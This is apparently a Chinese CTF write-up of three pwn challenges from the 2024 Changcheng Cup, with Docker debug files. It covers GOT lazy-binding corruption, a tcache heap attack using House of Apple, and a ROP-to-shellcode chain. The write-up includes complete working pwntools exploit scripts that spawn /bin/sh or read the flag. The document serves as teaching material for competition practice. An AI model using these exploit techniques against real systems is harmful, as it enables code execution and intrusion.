SomeHash
题目实现了简单的Hash计算的逻辑,提供了3次初始的计算用户输入Hash的机会
其中漏洞点在
这里的v10没有检查负数,可以向bss段上方的数据中写入一字节
这里的利用方法是一个小技巧,来自于got表的lazy函数注册逻辑,也就是checksec显示如下
Lazy函数注册逻辑
当ELF加载时,并不会直接调用dl_runtime_resolve将函数注册成真实地址,此时got表也是可写的,我们再观察一下这里got表指向,这里指向的是plt上方的一个地址,可以看到这里的exit函数,got表进入的是0x1030的位置,之后jmp到了0x1020的函数,0x1020函数内会jmp到0x5010的位置,也就是pwndbg中的_dl_runtijme_resolve_xsavec
关于对于dl_runtime_resolve
的内容这里就不赘述了,网上有很多教程。这里我们并不需要关心dl_runtime_resolve
做了什么,我们只需要动态观察got表未注册的内容的规律,在上面的pwndbg显示的,注意这里got表是可写的,那么我们就有一个大胆的猜想,如果我们在函数注册之前,修改了got表里的数据会怎么样?
可以看到的是,在函数注册前,got表内容十分相近,相差只有一个byte,上述的数组下标溢出的漏洞非常合适这里的利用。
strlen2printf
这里有一个非常合适的错误注册的函数——strlen
这里main函数逻辑中,调用strlen是在漏洞利用之后,我们可以修改未注册的strlen的got表内容,改成printf的偏移,使得strlen错误的注册成printf函数,而在接下来的函数调用中,buf内容是可控的,导致我们可以将数组下标溢出漏洞转换成printf格式化字符串漏洞
(并且,printf的返回值是输出字符的数量,strlen也是字符数量,并不影响后续程序的逻辑)
至此,我们构造了一个非栈上字符串的格式化字符串漏洞,而这个问题也已经有方法解决https://www.freebuf.com/vuls/284210.html
EXP
完整exp如下,直接使用格式化字符串提权是困难的,因为一共只有4次机会,我们可以利用这四次机会,修改dword_5078地址内容,使得while的次数变多,最后完成格式化字符串攻击
from pwn import * context.log_level = 'debug' # io = process("./somehash") io = remote("127.0.0.1", 9999) tob = lambda x: str(x).encode() io.sendlineafter(b"name length> ", tob(-0x98)) payload = flat({ 0: b"xxx>%6$p->%19$p->%21$p-", 0x80-2: b"a" }) io.sendlineafter(b"name> ", payload) io.recvuntil(b"xxx>") stack = int(io.recvuntil(b"-", drop=True), 16) log.success(f"stack : {stack:#x}") io.recvuntil(b">") libc_leak = int(io.recvuntil(b"-", drop=True), 16) log.success(f"libc_leak : {libc_leak:#x}") io.recvuntil(b">") elf_leak = int(io.recvuntil(b"-", drop=True), 16) log.success(f"elf_leak : {elf_leak:#x}") elf_base = elf_leak - 0x258b log.success(f"elf_base : {elf_base:#x}") libc_base = libc_leak - 0x29d90 log.success(f"libc_base : {libc_base:#x}") stack_target = stack - 0x100 payload = f"%{stack_target % 0x10000}c%23$hn".encode() io.sendlineafter(b"content> ", payload) target = elf_base + 0x05078 # cnt payload = f"%{target % 0x10000}c%53$hn".encode() io.sendlineafter(b"content> ", payload) payload = f"%{0x100 - 200}c%21$hn".encode() io.sendlineafter(b"content> ", payload) stack_target = stack - 0x110 payload = f"%{stack_target % 0x10000}c%23$hn".encode() io.sendlineafter(b"content> ", payload) write = libc_base + 0x000000000002a3e5 # pop rdi for i in range(6): target = stack_target + i payload = f"%{target % 0x100}c%23$hhn".encode() io.sendlineafter(b"content> ", payload) payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode() io.sendlineafter(b"content> ", payload) stack_target = stack - 0x110 + 0x8 payload = f"%{stack_target % 0x10000}c%23$hn".encode() io.sendlineafter(b"content> ", payload) write = elf_base + 0x50c0 # ->"/bin/sh" for i in range(6): target = stack_target + i payload = f"%{target % 0x100}c%23$hhn".encode() io.sendlineafter(b"content> ", payload) payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode() io.sendlineafter(b"content> ", payload) stack_target = stack - 0x110 + 0x10 payload = f"%{stack_target % 0x10000}c%23$hn".encode() io.sendlineafter(b"content> ", payload) write = libc_base + 0x000000000002a3e5+1 # ret for i in range(6): target = stack_target + i payload = f"%{target % 0x100}c%23$hhn".encode() io.sendlineafter(b"content> ", payload) payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode() io.sendlineafter(b"content> ", payload) stack_target = stack - 0x110 + 0x18 payload = f"%{stack_target % 0x10000}c%23$hn".encode() io.sendlineafter(b"content> ", payload) write = libc_base + 0x50d60 # system for i in range(6): target = stack_target + i payload = f"%{target % 0x100}c%23$hhn".encode() io.sendlineafter(b"content> ", payload) payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode() io.sendlineafter(b"content> ", payload) io.sendlineafter(b"content> ", b"/bin/sh\x00") io.sendlineafter(b"content> ", b"/bin/sh\x00") io.sendlineafter(b"content> ", b"/bin/sh\x00") io.sendlineafter(b"content> ", b"/bin/sh\x00") pause(1) io.sendline(b"cat flag") io.interactive() |
ps: 附录中有调试使用的dockerfile与docker-compose.yml
SomeTime
本题是单个堆块的堆风水题目,是一个你与some从恶魔手中夺取flag的合作历险故事
漏洞点在
SIGALARM的信号处理函数watch中
这里会将now指针中的低位字节清零,剧情中,some在最后时刻能为你做到最后的事情。
信号注册在init函数中
思路也比较简单只需要利用tcachebin机制,把tcachebin当作以前pwn可以保存多个堆块的题目的堆块数组即可
为了做到上述内容,我们要保证每次申请释放的size大小不同,即可在tcachebin中只存在一个堆块
由于我们可以将申请出来的指针做低字节的修改,所以我们可以很方便的构造堆叠,修改tcachebin的size位使得size变大,扩大溢出范围,之后我们可以通过重复申请tcachebin内容的堆块,泄露地址,最后完成fd修改,最后houseofapple一把梭
关于堆风水
这道一题目,我们需要尽量申请时候使用不同的size,否则将会申请出相同地址的堆块,或者这里可以多次add,使得申请多个无指针引用内存,使得内存地址扩展,之后篡改size顶部tcachebin,size位置,使得刚好大小超过0x420并能完美覆盖中间tcache,衔接上后方伪造的size,使得此时free后能进入unsortedbin,从而可以泄露main_arena地址,使得泄露libc地址。
之后就是修改tcachebin的count使得大于1,这里就要一些堆风水的技巧,一种可行的思路是,我们构造一种堆叠,使得一个大的tcachebin堆块覆盖两个及其以上的堆块,这样我们就可以同时操控chunk1和chunk2的内容,控制这两个size设置为相同的即可
(注意由于本题目只能拿到一个堆块做操作,也就是修改fakechunk的时候chunk1与2是在tcachebin中的,tacachebin中并不检查malloc取出的堆块大小是否正确,同时这里修改chunk2时候,注意恢复chunk1的fd和key字段)
| ---------- fake chunk -------------------| ...-| --- chunk1 --- | --- chunk2 --- | -... |
EXP
PS:由于本题做了大量的sleep操作,这里在本地调试的时候需要patch掉sleep的时间,使得调试变快
在程序最后需要等待时间到达,系统自动调用exit退出即可获得shell
from pwn import * context.log_level = 'info' context.arch = 'amd64' # io = process(b"./sometime") io = remote("127.0.0.1", 9999) tob = lambda x: str(x).encode() def add(size, content): io.sendlineafter(b"(1:add,2:release,3:print)> ", b"1") io.sendlineafter(b"size> ", tob(size)) io.sendafter(b"note> ", content) def free(): io.sendlineafter(b"(1:add,2:release,3:print)> ", b"2") def show(): io.sendlineafter(b"(1:add,2:release,3:print)> ", b"3") log.success("exp running ...") add(0x70, b"aaa") free() add(0x30, b"aaa") free() add(0x40, b"aaa") free() add(0x50, b"aaa") free() for i in range(0xa0-0x10, 0xf0, 0x10): add(i, b"aaa") free() add(0x60, b"aaa") free() add(0x70, b"a" * 0x30 + p64(0) + p64(0x5e1) + b"114514") free() add(0x30, b"aaaa") io.recvuntil(b"I can only assist up to this point. Sorry.") io.sendline(b"3") free() add(0x100, b"\n") show() leak = u64(io.recv(6).ljust(8, b"\x00")) libc_base = leak - 0x21a10a log.success(f"libc_base: {libc_base:#x}") free() libc = ELF("./libc.so.6", checksec=False) libc.address = libc_base add(0x100, b"a" * (0x78) + b"deadbeaf") show() io.recvuntil(b"deadbeaf") heap_addr = u64(io.recv(5).ljust(8, b"\x00")) << 12 log.success(f"heap_addr: {heap_addr:#x}") free() add(0x100, b"a" * (0x80) + b"deadbeaf") show() io.recvuntil(b"deadbeaf") key = u64(io.recv(8).ljust(8, b"\x00")) log.success(f"key: {key:#x}") free() add(0x100, b"a" * (0x70) + p64(0) + p64(0x51) + p64(heap_addr >> 12)) free() add(0x100, flat({ 0x80: heap_addr >> 12, 0x88: key, 0xc8: 0x31 })) free() add(0x50, b"aaaa") free() add(0x100, flat({ 0x78: 0x31, 0x80: heap_addr >> 12, 0x88: key, })) free() add(0x40, b"aaaa") free() add(0x100, flat({ 0x78: 0x51, 0x80: (libc.symbols["_IO_list_all"]) ^ (heap_addr >> 12), })) free() add(0x20, b"aaaa") free() fake_file_addr = heap_addr + 0x7f0 # ref: https://blog.csome.cc/p/houseofminho-wp/ add(0xe0, flat({ 0x0: b" sh;", 0x28: libc.symbols['system'], 0xa0: fake_file_addr-0x10, # wide data 0x88: fake_file_addr+0x100, # 可写,且内存为0即可 0xD0: fake_file_addr+0x28-0x68, # wide data vtable 0xD8: libc.symbols['_IO_wfile_jumps'], # vtable }, filler=b"\x00")) add(0x20, p64(fake_file_addr)) io.interactive() |
ps: 附录中有调试使用的dockerfile与docker-compose.yml
shutup
此题没有输出,单纯只有输入,没有开PIE,没有开canary,漏洞就是栈溢出
但是这里难点是如何泄露,或者如何构造出libc的任意地址,很明显,这里不给我们第二次的输入机会
需要注意到,题目给了一个没有调用的函数,可以从数组中取出数据,这里可以利用数组下标负数溢出,使得取出got表中read地址
获得了read地址还不足以能够做到取出libc任意地址,但是如果这里的qword_601060 += atoi(nptr);
逻辑就很巧妙,如果我们能够按照下面的方法控制执行流,那么我们就能将read内容存入qword_601060中,之后我们利用rop,在bss上布置一个数字,并使用pop_rdi; ret 0x000400703
的手法,就能在qword_601060中构造出read+offset,我们也就能获得syscall
任意地址写原语
在进入栈溢出函数的开始,我们只能写入0x40个字节,很明显,这是不够的,我们需要找到一种方法,能够任意地址写,并能支持写入多个字符。
答案是:依然还是函数sub_4006B7,我们再次审视下面的函数汇编,会发现,edi的数值会写入[rbp-4]的位置,而rbp我们可以通过pop rbp的rop控制
我们很轻松的就能构造如下的原语
[ pop_rbp, 4 + addr, pop_rdi, 0xde, 0x0004006BB, rbp, ] |
这就能向addr中写入0xde字节,为什么我们只能写入一个字节呢?因为edi的数值后续会作为数组的索引,数字太大会导致索引到不可读的内存,导致段错误,所以为了保险起见,这里我们每次只写入1个字节
最后我们就能构造任意地址写的payload构造函数
def make_bytes(addr, bbb): target = [] for i in range(len(bbb)): tmp = bbb[i] if tmp == 0: continue template = [ pop_rbp, 4 + addr + i, pop_rdi, tmp, 0x0004006BB, base, ] target.extend(template) return target |
接下来的内容就比较简单,控制rdi、rsi、rdx之后调用mprotect修改bss的可执行权限,写入shellcode即可
但是rdx的控制这里利用了,这个部分,控制r12、rbx内容使得call的内容刚好是pop rbp,将call在栈上写入的地址pop掉即可
EXP
from pwn import * context.log_level = 'debug' context.arch = 'amd64' shellcode = asm( f""" mov rax, {u64((b"./flag" + bytearray([0]*8))[:8])} push rax mov rdi, rsp mov rsi, 0 mov rax, 2 syscall mov rdi, 3 mov rsi, rsp mov rdx, 0x40 mov rax, 0 syscall mov rdi, 1 mov rsi, rsp mov rdx, 0x40 mov rax, 1 syscall """) """ 0x0000000000400655 : call qword ptr [rbp + 0x48] """ tob = lambda x: str(x).encode() io = process("./shutup") mov_rax_libc = 0x0000400696 pop_rdi = 0x00000000004007e3 get_rax = 0x004006B7 call_rax = 0x000000000040064e call_ptr_rax = 0x00000000004008a3 pop_r14_r15 = 0x004007E0 pop_rbp = 0x00000000004005c0 pop_rsp_r13_r14_r15 = 0x00000000004007dd pop_rbx_rbp_r12_r13_r14_r15 = 0x04007DA jmp_rax = 0x00000000004005b5 pop_r13_r14_r15 = 0x0004007DE pop_rsi_r15 = 0x00000000004007e1 atoi = 0x00400550 offset = 0x10 # offset 2 syscall base = 0x00601380 io.sendline(flat({ 0: base + 0x38, # rbp 0x8: pop_rdi, 0x10: base + 0x30, 0x18: 0x00400703, # call atoi 0x20: pop_r14_r15, 0x28: b"ls", 0x30: tob(offset).rjust(7, b" ") + b"\x00", 0x38: 0x0601060-0x48, }, filler=b"\x00")) pause(1) io.send(flat({ 0: tob(0x40000), 0xf: b"\x00" }, filler=b"\x00")) def make_bytes(addr, bbb): target = [] for i in range(len(bbb)): tmp = bbb[i] if tmp == 0: continue template = [ pop_rbp, 4 + addr + i, pop_rdi, tmp, 0x0004006BB, base, ] target.extend(template) return target rop_chain = [] rop_chain.extend(make_bytes(base + 0x40, flat( [ pop_rbx_rbp_r12_r13_r14_r15, 0, 0, base + 0x40 + 8 * 8, 7, 0, 0, 0x4007C0, # mov rdx, r13 pop_rbp, 0x0601060, pop_rdi, 2, get_rax, pop_rdi, base & (~0xfff), pop_rsi_r15, 0x1000, 0, 0x000000000040094b, # jmp ptr[rbp] base + 0xe0, shellcode ], filler=b"\x00" ))) rop_chain.extend(make_bytes(0x00601068, b"7")) rop_chain.extend(make_bytes(0x00601070, p8(0xa))) io.sendline(flat({ 0: b"0\x00", 0x10: base, 0x18: rop_chain + [ pop_rdi, 2**32-((0x000601060-0x600fd8)//8), # read got get_rax, 0x0000400715, ] })) io.shutdown("send") io.interactive() |
不同的libc,修改一下上面offset变量即可
附录
以下是Ubuntu GLIBC 2.35-0ubuntu3.1的docker调试环境
Dockerfile
FROM ubuntu:22.04@sha256:b492494d8e0113c4ad3fe4528a4b5ff89faa5331f7d52c5c138196f69ce176a6 RUN apt update RUN apt install socat -yyq RUN useradd -M -s /bin/false ctf WORKDIR /app COPY your_elf flag /app/ RUN chmod +x /app/your_elf && chmod -w /app/your_elf && chmod -w /app/flag USER ctf CMD ["socat", "TCP-LISTEN:9999,reuseaddr,fork", "EXEC:/app/your_elf"] |
docker-compose.yml
version: '3' services: pwn-dev: build: . ports: - "9999:9999" privileged: true restart: unless-stopped |
题目zip
原文始发于Csome:[2024长城杯初赛] Pwn题SomeHash SomeTime shutup题解